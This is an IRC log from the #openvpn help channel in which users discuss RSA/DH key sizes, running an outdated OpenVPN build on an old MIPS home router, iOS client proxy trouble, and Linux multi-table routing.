12:01 <+pekster> If you're using easy-rsa, set the key size in the config file; the latest git master uses 2048 bit by default, but you're free to increase it
12:01 <+pekster> (the latest "release" tarball doesn't include the commit that changed it from 1024, and 1024 is probably "too low" by moden standards if you require high security)
12:01 < xTz> pekster: might be worth updating documentation on the website, it mentions increasing only to 2k
12:02 <+pekster> The howto appears valid as-is: it reads "[keysize] can reasonably be increased to 2048 with no negative impact on [performance]" which is correct; larger keysizes offer more "future-proof" security, but at a cost of increased negotiation times
12:03 < TauNeutrino> WTF I'M connected
12:03 <+pekster> It's not generally a huge issue as re-keys (by default) allow the old symmetric key to be used for a rollover period, so TLS handshake delays aren't a huge deal after initial connection
12:03 < Aketzu> I'd guess openssl can work with 16k keys
12:04 <+pekster> Sure; I'm not sure offhand if PolarSSL eats them, so you'd have to try it if that's an issue
12:04 <+pekster> Use on embedded hardware will also suffer more with larger keys due to limited resources
12:04 < xTz> 16k? The highest I ever used is 4k... for ssh and IPsec
12:04 <+pekster> 4k is plenty fine; I think 16k is just silly, but it's supported. Key generation and DH params will take a long time (2 cups of coffee worth, perhaps)
12:06 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
12:06 < xTz> pekster: generation wouldn't be an issue I guess, having in mind u'll be doing it just once
12:06  * pekster shrugs
12:07 < xTz> it' could be worth trying, Im wondering if Android devices would be able to use 16k size keys to connect :)
12:07  * pekster files that under Try It And See
12:07 <+pekster> I'd just as soon not slaughter the battery more than necessary on expensive crypto operations
12:08 < Aketzu> this key generation takes a while... 5 minutes and still crunching
12:08 < dvl> FYI, found the cause, not the solution yet: http://forums.freebsd.org/showthread.php?p=226731#post226731
12:08 <@vpnHelper> Title: [PF] rule expands to no valid combination - The FreeBSD Forums (at forums.freebsd.org)
12:08 -!- BtbN [znc@btbn.de] has joined #openvpn
12:08 < xTz> good point
12:08 < xTz> Aketzu: 16k?
12:08 <+pekster> dvl: Still not sure why that's an #openvpn problem
12:08 < Aketzu> yeah
12:08 < xTz> Aketzu: what cpu?
12:09 <+pekster> CPU is only half the problem; entropy is the other
12:09 < Aketzu> finished now... somewhat over 5min... Core i7 950 @ 3GHz
12:09 < Aketzu> openssl was singlethreaded
12:09 <+pekster> You can't parallalize key generation
12:10 < xTz> pekster: +1
12:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:12 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has quit [Quit: leaving]
12:27 -!- slushpuppy [~slush@175.137.249.106] has quit [Read error: Connection reset by peer]
12:29 < xTz> # ./build-dh
12:29 < xTz> Generating DH parameters, 16384 bit long safe prime, generator 2
12:29 < xTz> This is going to take a long time
12:29 < xTz> lets see :)
12:33 < Aketzu> 512 takes 0,3s; 1024 6,6s; 2048 27s ...
12:33 <+pekster> Naturally; the mathematical complexity is exponential, not linear
12:34 < Aketzu> I'm just guessing whether that generation is still running after I go get some food :)
12:35 < xTz> I've started it with time no, to get an actual measure
12:35 < xTz> s/no/now/
13:14 -!- mndo__ [~mndo@bl17-66-145.dsl.telepac.pt] has joined #openvpn
13:24 < Aketzu> done eating food
13:24 < Aketzu> xTz: is it ready yet :)
13:36 -!- Drone4four [~Drone4fou@99.225.90.196] has quit [Quit: Leaving]
13:46 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
13:46 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
14:15 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
14:16 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
14:17 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 240 seconds]
14:42 -!- dvl is now known as dvl-ouch
14:42 -!- dvl-ouch is now known as dvl
15:02 < xTz> Aketzu: nope, still generating
15:02 < xTz> hopefully will be done till tomorrow :p
15:03 < xTz> Im wondering how much time will an authentication with that key take :)
15:11 < xTz> honestly Im thinking of stopping it
15:12 < xTz> I cannot wait for that long each time I need to create a cert
15:14 < xTz> 153m2.63s real   152m59.30s user     0m0.62s system
15:14 < xTz> and still was not ready
15:14 < xTz> :)
16:09 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
16:13 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Read error: Connection reset by peer]
16:14 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
16:19 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Po-ta-to, boil em, mash em, stick em in a stew.]
16:25 -!- eL_Bart0 [eL_Bart0@dietunichtguten.org] has joined #openvpn
16:27 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
16:28 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
16:54 <@krzee> !linipforward
16:54 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:55 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-bltsekemjvhrpupy] has joined #openvpn
17:23 -!- master_o1_master [~master_of@p4FD7B9BA.dip0.t-ipconnect.de] has joined #openvpn
17:26 -!- master_of_master [~master_of@p4FD7B5BD.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
17:27 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 276 seconds]
17:35 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:42 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:52 <@krzee> i have definitely gained skill at diagnosing network problems from my time helping in here
17:53 <@krzee> which is pretty cool =]
17:54 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
18:00 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
18:11 -!- eL_Bart0 [eL_Bart0@dietunichtguten.org] has quit [Read error: Operation timed out]
18:35 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:40 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
18:46 -!- master_of_master [~master_of@p4FF243C0.dip0.t-ipconnect.de] has joined #openvpn
18:49 -!- master_o1_master [~master_of@p4FD7B9BA.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
18:49 -!- newbie|5 [~tjz@bb219-74-136-113.singnet.com.sg] has quit [Ping timeout: 256 seconds]
18:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:00 -!- newbie|5 [~tjz@bb219-74-136-113.singnet.com.sg] has joined #openvpn
19:00 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
19:02 < Ghormoon> hi, any ideas why when I want to manually start openvpn from config (so I just did "openvpn /path/to/config") it complains on first line? ("client")
19:03 < Ghormoon> it works on windows with that config file, but I'm trying to run it on home router and it complains :(
19:03 <@krzee> !configs
19:03 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:03 <@krzee> !logs
19:04 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:04 <@krzee> i dont need both sides, just the side with the problem
19:04 < Ghormoon> !logfile
19:04 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
19:05 < Ghormoon> I'll try to force some manual log, that thing doesn't seem to have syslog :D
19:05 <@krzee> yep, thats good for debugging anyways
19:06 <@krzee> openwrt or something?
19:06 < Ghormoon> not even openwrt :) something less intelligent
19:06 <@krzee> gotchya
19:06 < Ghormoon> that thing can;t run full openwrt
19:06 <@krzee> im playing with openwrt right now =]
19:07 <@krzee> about to learn the linux method of using multiple routing tables (i have only done it in freebsd, but it should be easy enough)
19:07 < Ghormoon> I'll be playing tomorow on my uncler router :D we want to make both home networks in one
19:07 < Ghormoon> the other one at least can run openwrt :)
19:07 <@krzee> ahh cool, you'll like this:
19:07 <@krzee> !route
19:07 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
19:07 <@vpnHelper> the server or client
19:08 < Ghormoon> at first I'd like to at least connect the router :)
19:08 <@krzee> but thats for after we fix your problem of course :D
19:08 <@krzee> yep
19:08 < Ghormoon> well, the log says the same it said on commandline
19:08 < Ghormoon> Options error: Unrecognized option or missing parameter(s) in [CMD-LINE]:1: option (2.0.9)
19:08 <@krzee> 2.0.9
19:08 <@krzee> there we go
19:08 < Ghormoon> but it now doesn't seem to like the file
19:08 < Ghormoon> my bad :)
19:08 <@krzee> that is OLD
19:08 <@krzee> OLD OLD
19:09 < Ghormoon> I know, but I'm not sure I can just paste new one there :D
19:09 <@krzee> odds are you wanna find a way
19:09 <@krzee> maybe opkg can work there
19:09 <@krzee> or a newer firmware
19:09 < Ghormoon> last firmware update is like 2007 :D
19:09 <@krzee> sounds right based on the openvpn version :D
19:10 <@krzee> maybe you can find a compile of openvpn to drop in
19:10 <@krzee> or cross-compile it
19:10 <@krzee> or something!
19:10 <@krzee> either way, pastebin the config
19:10 <@krzee> and the server config
19:10 < Ghormoon> heh :) I'm glad I can "make" for my machine :D
19:10 <@krzee> (since the server config will have to match 2.0.9 allowed stuff)
19:10 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 240 seconds]
19:11 <@krzee> unless of course you can get your openvpn binary updated, which you really want to do
19:11 < Ghormoon> well it even can't take the cllient, so I'll try to find newer openvpn first
19:11 < Ghormoon> [admin@asusRN root]$ openvpn /etc/openvpn/central.conf Options error: Unrecognized option or missing parameter(s) in /etc/openvpn/central.conf:16: client (2.0.9)
19:11 <@krzee> it can i just need your config!
19:11 <@krzee> lol
19:11 < Ghormoon> I'll move it somewhere visible
19:11 <@krzee> but you're right that if you can build openvpn for your device it is better
19:12 < Ghormoon> well, i'll have to find out for what I need to build it
19:12 -!- mndo__ [~mndo@bl17-66-145.dsl.telepac.pt] has quit [Read error: Connection reset by peer]
19:12 < Ghormoon> it doesn't have any gcc, make etc
19:12 <@krzee> but im willing to help you get 2.0.9 up since you may take awhile to build for it
19:12 <@krzee> you need to cross compile it
19:12 <@krzee> likely from a linux box
19:12 < Ghormoon> I ha ve not idea what that means :)
19:12 < Ghormoon> but I have viatual debian avaible
19:13 <@krzee> then go pastebin the config
19:13 <@krzee> ill try to help ya get 2.0.9 up
19:13 <@krzee> since --client does exist, im guessing you have windows CR line terminations
19:14 <@krzee> vi client.conf
19:14 <@krzee> then copy/paste it to pastebin
19:14 < Ghormoon> I'll check them
19:14 <@krzee> and also go pastebin both configs with no comments!
19:15 <@krzee> so i can check they are 2.0.9 compatible
19:15 <@krzee> you should hurry on that since im at work and going back to my stuff in a minute
19:15 < Ghormoon> damn, I've coppied them with comments, so moment :)
19:15 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:15 <@krzee> (namely researching how to use multiple routing tables in linux)
19:17 < Ghormoon> http://ghormoon.ghorland.net/client2.ovpn
19:17 < Ghormoon> http://ghormoon.ghorland.net/server2.ovpn
19:17 < Ghormoon> without 2 it's with comments
19:17 < Ghormoon> just grep -v, hopefully ok :)
19:18 < Ghormoon> line endings are \n
19:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:19 <@krzee> those are both the same file
19:19 < Ghormoon> damn, typo? :D
19:19 <@krzee> could you remove the extra lines too?
19:19 <@krzee> so i can easily read it
19:20 < Ghormoon> I see diffrentet files on server and client
19:20 <@krzee> !configs
19:20 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:20 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
19:20 <@krzee> grep -vE '^#|^;|^$' server.conf
19:20 <@krzee> ahh ok i do too now
19:20 <@krzee> maybe i mis-clicked
19:21 <@krzee> in the client go ahead and remove client and add tls-client
19:21 < Ghormoon> change to ...3.ovpn
19:21 <@krzee> since client is just --pull and --tls-client
19:21 <@krzee> lets see if the error changes
19:22 < Ghormoon> Options error: Unrecognized option or missing parameter(s) in /etc/openvpn/central.conf:16: tls-client (2.0.9)
19:22 <@krzee> hrm
19:22 <@krzee> how is that line 16?  comments?
19:23 < Ghormoon> is it ok to run it as openvpn /etc/openvpn/central.ovpn?
19:23 < Ghormoon> yep
19:23 <@krzee> yes that is ok
19:23 < Ghormoon> it really is 16
19:23 <@krzee> ok well i dunno whats wrong with the file, i still wonder if its windows CR line endings? but i can help you work around it
19:23 <@krzee> we could call openvpn CLI only without a config
19:23 < Ghormoon> it is only \n
19:23 <@krzee> wanna do that?
19:24 <@krzee> or rather, wanna give it a try?
19:24 < Ghormoon> how? :)
19:24 <@krzee> ok 1 sec
19:24 < Ghormoon> damn, that thing doesn't have man :D
19:25 <@krzee> !man
19:25 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
19:26 <@krzee> what path do you store the certificates in?
19:26 <@krzee> is it /etc/openvpn?
19:26 < Ghormoon> yep
19:26 <@krzee> openvpn --client --dev tun --proto udp --remote ghorland.net 42900 --resolv-retry infinite --nobind --persist-key --cd /etc/openvpn --persist-tun --mute-replay-warnings --ca cacert.pem --cert client.crt --key client.key --cipher AES-128-CBC --comp-lzo --verb 4 --pull
19:26 <@krzee> try that
19:27 < Ghormoon> can't write that long line :D without verb and pull it still complains on clie nt
19:27 < Ghormoon> Options error: Unrecognized option or missing parameter(s) in [CMD-LINE]:1: client (2.0.9)
19:28 < Ghormoon> maybe it's time to find out how to compile new openvpn
19:28 <@krzee> interesting
19:28 <@krzee> how about:
19:28 <@krzee> openvpn --tls-client --dev tun --proto udp --remote ghorland.net 42900 --resolv-retry infinite --nobind --persist-key --cd /etc/openvpn --persist-tun --mute-replay-warnings --ca cacert.pem --cert client.crt --key client.key --cipher AES-128-CBC --comp-lzo --verb 4 --pull
19:28 < Ghormoon> the same
19:28 <@krzee> ok
19:29 < Ghormoon> just with tls-
19:29 <@krzee> then i believe your openvpn build doesnt have client stuff built into it
19:29 <@krzee> try:
19:29 <@krzee> openvpn --version
19:29 < Ghormoon> [admin@asusRN root]$ openvpn --version OpenVPN 2.0.9 mipsel-unknown-linux [CRYPTO] [LZO] built on Apr 18 2007 Developed by James Yonan Copyright (C) 2002-2005 OpenVPN Solutions LLC <info@openvpn.net>
19:30 <@krzee> oh i guess that was before --version started telling configure options
19:30 < Ghormoon> time to build new one :)
19:30 <@krzee> so ya, you either need to build a new one or buy a new router
19:30 <@krzee> you may find option 2 easier since you dont even know the term "cross-compile" and it's not exactly simple
19:30 <@krzee> (and i cant help with it)
19:31 <@krzee> oh and you could also just run openvpn on a lan machine
19:31 <@krzee> but on router does make it a little lazier ;]
19:32 < Ghormoon> Idon't have any other always online machine (except one dummy NAS which is why I want to route the network so I can get there from school)
19:34 <@krzee> it's a homemade NAS or something running unix?
19:35 <@krzee> or some random embedded system?
19:35 < Ghormoon> something bought and I don't think that will run openvpn more likely than the router :)
19:35 <@krzee> gotchya
19:36 < Ghormoon> I'll try to find out what i's running on
19:37 < Ghormoon> NAS Firmware       01.02.06 with MioNet
19:37 < Ghormoon> not really telling me anything :D
19:38 <@krzee> ya you prolly want another router
19:38 <@krzee> to make life easy
19:39 <@krzee> hey pekster are you very familiar with using multiple routing tables in linux?
19:39 < Ghormoon> well, this one is runnig some sort of linux, it should be possible to build for it
19:40 <@krzee> yep, and it is
19:40 <@krzee> but will that be easier for you than buying a new router...
19:40 <@krzee> that is the question!
19:41 < Ghormoon> well, at least cheaper :D (at actual situation, I'd rather give up than spend money on new router because it's not worth it and I don't have much money towaste)
19:41 <@krzee> gotchya
19:42 <@krzee> well you'll need to figure out how to cross-compile it
19:42 <@krzee> which means compiling it for an architecture other than that of the machine you compile it on
19:42 < Ghormoon> I've found some forum thread on how to compile for ddwrt, that should'nt be that different
19:42 <@krzee> for example, using an i386 machine to compile for a MIPS target
19:42 < Ghormoon> or maybe, if I took ddwrt openvpn binary and just copied it? :D
19:43 < Ghormoon> do you have any at hand?
19:43 <@krzee> it should be at least  *a little* different, you'll need to compile it for the architecture of your target
19:43 <@krzee> if they happen to be the exact same target, and it has everything compiled in (no shared libraries) then maybe it'll work
19:43 <@krzee> but really i dunno
19:43 < Ghormoon> well, worth the shot :)
19:44 <@krzee> sure
19:44 < Ghormoon> at least it seems to be the same architecture
19:44 < Ghormoon> what does your --version say?
19:44 <@krzee> ?where
19:45 <@krzee> im only on like 20 machines
19:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
19:45 < Ghormoon> openvpn --version on the router
19:45 <@krzee> (right now)
19:45 < Ghormoon> you said you're playing with some openwrt
19:45 <@krzee> whats your uname -a?
19:45 < Ghormoon> Linux asusRN 2.4.20 #7 Fri May 11 08:15:31 CEST 2007 mips unknown
19:46 <@krzee> well theres a chance i guess
19:46 <@krzee> gimme a min
19:46 < Ghormoon> well at least this thing can run some old 2.4 openwrt, so maybe yes :)
19:47 <@krzee> unrelated
19:47 < Ghormoon> but I'm not gonna flash it because my father wuld kill me, he uses some specific things from this firmware
19:47 <@krzee> but they're both MIPS at least
19:47 < Ghormoon> we'll see
19:48 < Ghormoon> do you have any place to paste it? or maybe an email or I can open port in nc
19:48 <@krzee> ftp://xxx.ircpimps.org/pub/mips_openvpn
19:48 <@krzee> good luck =]
19:49 < Ghormoon> I hope it will work from another location
19:49 < Ghormoon> because the original openvpn is RO :D
19:51 < Ghormoon> nope, some missing libs
19:51 <@krzee> well
19:51 <@krzee> what are they? maybe you can put them in place
19:52 <@krzee> and its the mounted device that is RO
19:52 <@krzee> you *may* be able to make it RW, but really i cant keep helping with it
19:52 < Ghormoon> most of the output is broken, I'll have to play around a while
19:52 < Ghormoon> well, most propably the RO device is the ROM (so I'll have to flash it)
19:52 <@krzee> ok? in my openwrt i can mount it RW then edit the rom
19:53 <@krzee> but i dont have your router nor can i really help too much from here
19:53 < Ghormoon> well, maybe, but I'm gonna play with that when i'm sute it will help
19:53 <@krzee> nothing will help otherwise
19:53  * Casper thinks he got openvpn working on openwrt
19:54 <@krzee> even getting a correctly compiled openvpn
19:54 <@krzee> Casper, me too, just today
19:54 <@krzee> but hes not on openwrt
19:54 < Casper> now I need to get the iphone client to work
19:55 < Ghormoon> damn, my debian can't ldd the binary :(
19:55 <@krzee> Casper, whats not working about it?
19:55 < Casper> the proxy directive
19:56 <@krzee> Ghormoon, you'd need a MIPS enabled ldd or maybe theres an option to ldd
19:56 < Casper> my provider block all but what pass throught their web proxy
19:56 <@krzee> Casper, oh right
19:56 < Ghormoon> seems I'll need another
19:56 <@krzee> Casper, and openvpn-connect says it doesnt recognize proxy options?
19:56 < Casper> there is nothing in the log that say it try to use the proxy
19:57 <@krzee> i have no idea what is and is not in the IOS build, i just know its not the same as the opensource openvpn
19:57 < Casper> all I have is a connection attempt, and a timeout
19:57 <@krzee> Casper, same config works right in other OS?
19:58 < Casper> on wifi it connect (but fail due to the wrong certificate)
19:58 <@krzee> erm
19:58 < Casper> on 3g it timeout
19:58 <@krzee> you mean on the ios client?
19:58 <@krzee> or on what?
19:59 < Casper> what I expected: on wifi, timeout due to the proxy being unreachable, on 3g to fail due to the certificate
19:59 < Casper> yeah on ios
19:59 < Casper> the server itself is on the router, and should be fine.... the issue is my iphone client
19:59 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-xfgnypokjhexpenp] has quit [Remote host closed the connection]
19:59 <@krzee> sounds like the 3g provider blocks the vpn
19:59 < Casper> I don't have a data plan, but a web browsing plan
19:59 <@krzee> well there you go
19:59 < Casper> but openvpn client have a proxy option, that should work
20:00 <@krzee> and if you get cert issues when connecting over wifi, fix that
20:00 <@krzee> just because it is going over a web proxy doesnt make it web traffic, they can still block it
20:00 <@krzee> just depends how they block
20:00 < Casper> sure, but shouln't the log say it tried the proxy?
20:01 <@krzee> who knows?  ios client is different and closed-source
20:01 <@krzee> fix the error (which is a cert issue)
20:01 < Casper> and shouln't the "use proxy" (I forgot the exact line) make it unable to connect on the wifi?
20:01 <@krzee> i dont know, you never got very specific about where the proxy is, what it accepts, and where the wifi is
20:02 <@krzee> but no matter what
20:02 <@krzee> go fix the cert issue.
20:02 <@krzee> then we can continue
20:02 < Casper> after,  if it do not work on 3g, it is useless
20:02 <@krzee> then go get a data plan
20:03 < Casper> not gonna spend an extra 40$ just to be able to download apps! :D
20:03 < Casper> the unlimited web browsing plan is only 10$/month
20:03 <@krzee> or you could try the setup with your sim on a android phone to see if the plan works and its IOS
20:03 <@krzee> since im not sure which it is
20:03 < Casper> true dataplan is about 50-60$/month for 2-5G
20:04 < Casper> the android app should work, a guy with the same provider got it to work last month, he need to use the proxy
20:04 <@krzee> with the same non-data plan?
20:04 <@krzee> can you try your chip in his phone?
20:05 < Casper> he's somewhere in canada
20:05 <@krzee> oh so its TOTALLY apples to oranges
20:05 <@krzee> aka irrelevant
20:05 < Casper> and yes, same provider, which offer only 1 type of service
20:05 <@krzee> ok well if i were you heres what i would do:
20:06 <@krzee> use my chip in an android phone to be 100% sure it *can* work with your setup
20:06 < Ghormoon> well, I'm looking on the original openvpn and it is a bit different, does endianity etc. matter or can it handle it?
20:06 <@krzee> if that DOES work: then i would hit the devel mail list and request ios client to support proxy stuff you need
20:06 <@krzee> original openvpn is TOTALLY not the same as IOS openvpn
20:07 <@krzee> IOS version was 100% rewritten
20:07 <@krzee> and DOES lack a bit of stuff
20:07 <@krzee> and has totally different output
20:07 <@krzee> its a completely different app
20:08 < Casper> the web site for the ios client claim to support it, so I'll hit the support this week end...
20:08 <@krzee> (which has interropability as a client with opensource openvpn, but does not do everything that opensource version does
20:08 <@krzee> hit support?  what?
20:08 <@krzee> remember step 1!!!!
20:08 <@krzee> test your damn network with android client :-p
20:08 <@krzee> OR
20:08 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 246 seconds]
20:08 -!- slushpuppy [~slush@175.137.249.106] has joined #openvpn
20:08 <@krzee> use wifi tethering and try it from a laptop with same settings
20:08 -!- slushpuppy [~slush@175.137.249.106] has left #openvpn []
20:09 <@krzee> either way, dont go bothering devs about it until you have tested that it actually *is* the openvpn client and not your network.
20:09 < Casper> tethering is disabled afaik, or I need to set the web proxy on the clients...
20:09 <@krzee> if you cant tether then find an android phone
20:09 <@krzee> its not a hard idea :D
20:10 < Casper> I'll bother the devs because one way or the other there is an issue: it ignore the proxy directive, or the logs have a missing "trying via proxy" line...
20:11 < Casper> and I keep reading that it work on android, and some that used gizmovpn on jailbroken phone got it working too...
20:12 < Casper> so I'll open a ticket... for the use proxy or log issue...
20:12 <@krzee> too lazy to test your network
20:12 <@krzee> how will the devs know (or care to find out) whats broken
20:12 < Casper> also, it is unclear if the use proxy is pre or post connect
20:13 <@krzee> they'll be like "ok we dunno which it is cause he's too lazy to test, screw it"
20:13 <@krzee> or at least i would
20:13 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-hjufjlpsudqlboel] has joined #openvpn
20:13 < Casper> not too lazy, I'm sure it will work, people got it working. in ALL case, it atleast lack some log stuff
20:13 < Casper> or their documentation is wrong
20:14 < Casper> so in all case, even if it's my network, there is an issue with their software
20:14 <@krzee> anicdotal evidence means nothing. test it or you dont know.
20:15 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
20:15 < Casper> I don't have access to any android phone, so can't test on adroid
20:16 <@krzee> you live in a private underground bunker?
20:16 <+EugeneKay> Close enough to it.
20:16 < Casper> no, people around me... don't use smart phone, or don't lend their things
20:16 <+EugeneKay> You should see my arms locker
20:17 <@krzee> Eugene!
20:17 <@krzee> how are you with multiple routing tables in linux?
20:17 <@krzee> im only familiar with it in freebsd
20:18 <+EugeneKay> $150/hour.
20:18 <@krzee> hah
20:18 <@krzee> $200/hr for me tho, right?
20:18 <+EugeneKay> Minimum.
20:18 <@krzee> :D
20:18 <+EugeneKay> It's one of those things I know, but hate.
20:18 <@krzee> my use case: the source address will be random internet address, but it'll come from 1 of 2 gateways.  i want to respond through whichever gateway the traffic came from
20:19 <@krzee> and unfortunately --multihome doesnt *just work* in my openwrt
20:20 <+EugeneKay> You want something like `ip rule to a.b.c.d/32 table secondary`
20:20 <+EugeneKay> Plus the same, with s/to/from
20:20 <+EugeneKay> You'll also need `ip route add default via a.b.c.1 dev eth# table secondary`
20:21 <+EugeneKay> And a route for a.b.c.0/24, also in table secondary
20:21 <@krzee> but it'll have src "unknown internet ip" regardless of which interface it comes to me from
20:22 <+EugeneKay> Doesn't matter
20:23 <+EugeneKay> All you're doing is setting traffic to/from a.b.c.d(your secondary IP) to go via the table secondary
20:23 <@krzee> im confused what to add for the a.b.c stuff.  i have 2 uplinks (each with its own device)  192.168.0.1 is a gateway and 10.0.0.254 is the other gateway
20:23 <@krzee> ohhh
20:23 <@krzee> i think that cleared some of my confusion
20:23 <+EugeneKay> And there's the *click*
20:23 <@krzee> i use *MY* ip there
20:23 <+EugeneKay> Correct.
20:23 <@krzee> ok time to go play
20:24 <@krzee> thanks bro
20:24 <+EugeneKay> Good luck. You'll need it.
20:24 <@krzee> totally
20:24 <@krzee> soooo much easier in freebsd :D
20:24 <@krzee> or at least it seems that way to a long time freebsd user ;]
20:24 <+EugeneKay> That's why I normally charge $150/hr for this :-p
20:25 <+EugeneKay> One of these days I'll get a real routing daemon set up on my openvpn site-to-site links
20:25 <+EugeneKay> Ping is ~20ms better via IPv6, except when it isn't.
20:26 <+EugeneKay> Yay stupid upstreams
20:30 -!- oc80z [~oc80z@blea.ch] has quit [Ping timeout: 248 seconds]
20:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
20:37 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:38 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
20:39 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
20:52 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
21:16 -!- slushpuppy [~slush@175.137.249.106] has joined #openvpn
21:16 < slushpuppy> Is there a way to run a bash script containing iptable rules after starting openvpn?
21:17 <+EugeneKay> !script
21:17 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
21:18 < slushpuppy> thank you
21:20 < slushpuppy> Oh man how did I miss that >.<
21:20 < slushpuppy> I believe these options can be hardcoded in a configuation file yes? I.e. up /path/to/script.sh
21:21 <+EugeneKay> Yup.
21:21 <+EugeneKay> !--
21:21 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
21:21 < slushpuppy> thank you once again
21:21 < Ghormoon> fianlly, at least got working 2.2.0 binary :D fails to create tun/tap device, but works :D
21:30 -!- newbie|5 [~tjz@bb219-74-136-113.singnet.com.sg] has quit [Ping timeout: 264 seconds]
21:38 < Ghormoon> krzee: btw how do you force the rom to be rw? I'll need to change /linuxrc (only thing that I've found that autostarts) to mount USB and start vpn ..
21:41 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
21:43 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 246 seconds]
21:44 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has quit [Read error: Connection reset by peer]
21:45 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
21:48 -!- Devastatr [~devas@186.214.14.143] has quit [Changing host]
21:48 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
21:49 -!- Devastatr is now known as Devastator
21:50 -!- newbie|5 [~tjz@bb219-74-136-113.singnet.com.sg] has joined #openvpn
